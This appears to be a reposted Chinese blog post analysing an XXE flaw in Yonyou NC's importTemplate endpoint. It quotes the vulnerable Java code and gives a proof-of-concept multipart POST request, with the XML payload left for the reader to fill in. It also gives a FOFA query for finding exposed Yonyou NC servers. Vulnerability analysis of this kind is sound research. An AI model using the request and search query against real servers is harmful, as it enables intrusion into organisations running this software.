前言
这是一个礼拜一次的正经漏洞分析文章,也就照着漏洞代码来分析一下用友NC的XXE漏洞,看和用友U8C的XXE漏洞有何区别吧,文章首发于奇安信攻防社区
用友源码文件已在内部知识圈公开,感兴趣的师傅可以文末扫码加入
漏洞位于importTemplate
接口处,文件路径为nc.uap.portal.action.importTemplate
Map<String, MultipartFile> fileMap = req.getFileMap();
List<MultipartFile> files = new ArrayList<>();
String billitem = req.getParameter("billitem");
if ("null".equals(billitem) || StringUtils.isBlank(billitem)) {
AppInteractionUtil.showMessageDialog(NCLangRes4VoTransl.getNCLangRes().getStrByID("bd", "PortalTemplateAction-000000"));
return;
}
if (MapUtils.isNotEmpty(fileMap))
files.addAll(fileMap.values());
String name = ((MultipartFile)files.get(0)).getOriginalFilename();
InputStream in = ((MultipartFile)files.get(0)).getInputStream();
try {
TemplateOperTools.doImPort(in, billitem);
后端接收上传的文件内容输入以及参数billitem,之后将其传入TemplateOperTools.doImPort
方法中
盯着代码继续追踪方法,doImport代码如下
可以看到内容输入经过JaxbMarshalFactory方法解析
TemplatePackObj packObj = (TemplatePackObj)JaxbMarshalFactory.newIns().encodeXML(TemplatePackObj.class, xml)
此处对输入的内容进行解析,并将其转换为TemplatePackObj
对象
因为使用了JAXB来进行解析XML外部实体,从而造成了XXE漏洞
最终的POC如下
POST /portal/pt/portaltemplate/importTemplate?pageId=login&billitem=1 HTTP/1.1
Content-Type: multipart/form-data; boundary=----123456
Host:
------123456
Content-Disposition: form-data; name="file"; filename="1.txt"
内容自行替换即可
------123456--
相关资产搜索的FOFA语法
app="用友-UFIDA-NC"
请求成功,dnslog接收到请求记录
感兴趣的可以公众号私聊我进团队交流群,咨询问题,hvv简历投递,nisp和cisp考证都可以联系我
原文始发于微信公众号(C4安全团队):用友NC 源码+importTemplate方法XXE漏洞分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论